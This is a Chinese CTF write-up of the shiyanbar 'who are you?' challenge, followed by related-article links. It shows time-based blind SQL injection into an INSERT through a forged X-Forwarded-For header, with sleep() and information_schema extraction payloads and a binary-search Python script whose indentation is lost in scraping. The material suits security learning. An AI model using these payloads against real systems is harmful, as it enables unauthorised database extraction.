题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php

根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会向数据库储存ip地址,所以注入点便是我们的ip,而ip可以用X-Forwarded-For伪造

由于注入点的特殊,这里注入是不能用逗号的,因为服务器在从X-Forwarded-For中取ip的时候,会把逗号作为分割符区分多个ip,一般会取第一个作为用户真实ip进行储存,所以我们传输的数据,只有第一个逗号前的数据会到达数据库

经过几次测试,这里除了回显ip外是不会有任何提示的,包括报错注入,所以只能用基于时间的盲注

由于是向数据库储存数据,猜测后台的sql语句如下:insert into ipaddress(ip) values('ip');

提交如下数据   '+sleep(5));#

后台语句便为  insert into ipaddress(ip) values(''+sleep(5));#');  即为   insert into ipaddress(ip) values(''+sleep(5));

服务器的响应时间为5秒以上就说明sleep()成功执行了

sql中有以下写法

insert into t(name) values(( select case when (1) then sleep(1) else 1 end));

于是构造如下语句

'+ (select case when (   ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1   ) then sleep(1) end) );#

sql语句即为

insert into ipaddress(ip) values(''+ (select case when (   ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from(1) ))>1   ) then sleep(1) end) );

用二分法写python脚本,我只写的猜解表名的,剩下的改下payload(select flag from flag)即可,另外,实验吧的服务器是真的差,有时候都不给响应的,所以时间盲注得等网速快的时候才能用,不然就改一下sleep的时间。。。

 import requests
import re
import time requests=requests.session() strall=[]
strall.append('')
for i in range(33,128):
strall.append(str(i)) #a=isthis(1,'98',">")
def isthis(index,charascii,compare):
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
headers={
'Content-Type': 'application/x-www-form-urlencoded',
"X-Forwarded-For":"'+ (select case when ( ascii(mid(( select group_concat(table_name) from information_schema.tables where table_schema=database() )from({}) ))".format(str(index))+compare+"{} ) then sleep(3) end) );#".format(charascii)
}
print headers['X-Forwarded-For']
t0=time.time()
r=requests.get(url=url,headers=headers)
t=time.time()-t0
if t>3:
return True
else:
return False ans=''
flag=0
for index in range(1,99):
left=0
right=len(strall)
if flag:
break while left<=right:
mid=(left+right)>>1
if isthis(index,strall[mid],">"):
left=mid+1
elif isthis(index,strall[mid],"<"):
right=mid-1
else:
if strall[mid]=='':
flag=1
break
value=chr(int(strall[mid]))
ans+=value
print ans
break print ans raw_input('done')

注意最后flag提交的格式是ctf{xxxx}

实验吧——who are you?(insert into注入 二分法 时间盲注)的更多相关文章

  1. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  2. 实验吧之【who are you?】(时间盲注)

    地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF ...

  3. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  4. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  5. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  6. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  7. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  8. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  9. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

随机推荐

  1. 搭建pikachu平台及暴力破解

    一.先将Pikachu文件放在网站根目录下 二.修改pikachu网站的配置文件  inc/config.inc.php define('DBUSER', 'user'); define('DBPW' ...

  2. golang 登录

    用户的两种登录模式 1.LDAP登录 //ldapLogin 通过LDAP登陆 func (m *Member) ldapLogin(account string, password string) ...

  3. SpringCloud介绍(一)

    Spring Cloud 是一套完整的微服务解决方案,基于 Spring Boot 框架,准确的说,它不是一个框架,而是一个大的容器,它将市面上较好的微服务框架集成进来,从而简化了开发者的代码量. 一 ...

  4. nginx 403问题

    错误排查 https://blog.csdn.net/onlysunnyboy/article/details/75270533 关闭 SELinux https://blog.csdn.net/ed ...

  5. Pyppeteer

    pyppeteer模块的基本使用 引言 Selenium 在被使用的时候有个麻烦事,就是环境的相关配置,得安装好相关浏览器,比如 Chrome.Firefox 等等,然后还要到官方网站去下载对应的驱动 ...

  6. Vue实际中的应用开发【分页效果与购物车】

    作者 | Jeskson 来源 | 达达前端小酒馆 分页组件 首先来创建项目: 分页组件,做项目不要写动手写代码,要想想业务逻辑,怎么写,如何写才是最好的呈现方式,做项目不急,要先想好整体的框架,从底 ...

  7. [LeetCode] 786. K-th Smallest Prime Fraction 第K小的质分数

    A sorted list A contains 1, plus some number of primes.  Then, for every p < q in the list, we co ...

  8. pymongo方法详解

    1.连接mongodb ######### 方法一 ########## import pymongo # MongoClient()返回一个mongodb的连接对象client client = p ...

  9. subprocess实用手册

    背景 python执行操作系统的命令,如python执行shell命令 subprocess模块主要用于创建子进程,并连接它们的输入.输出和错误管道,获取它们的返回状态.通俗地说就是通过这个模块,你可 ...

  10. Golang(十一)TLS 相关知识(二)OpenSSL 生成证书

    0. 前言 接前一篇文章,上篇文章我们介绍了数字签名.数字证书等基本概念和原理 本篇我们尝试自己生成证书 参考文献:TLS完全指南(二):OpenSSL操作指南 1. OpenSSL 简介 OpenS ...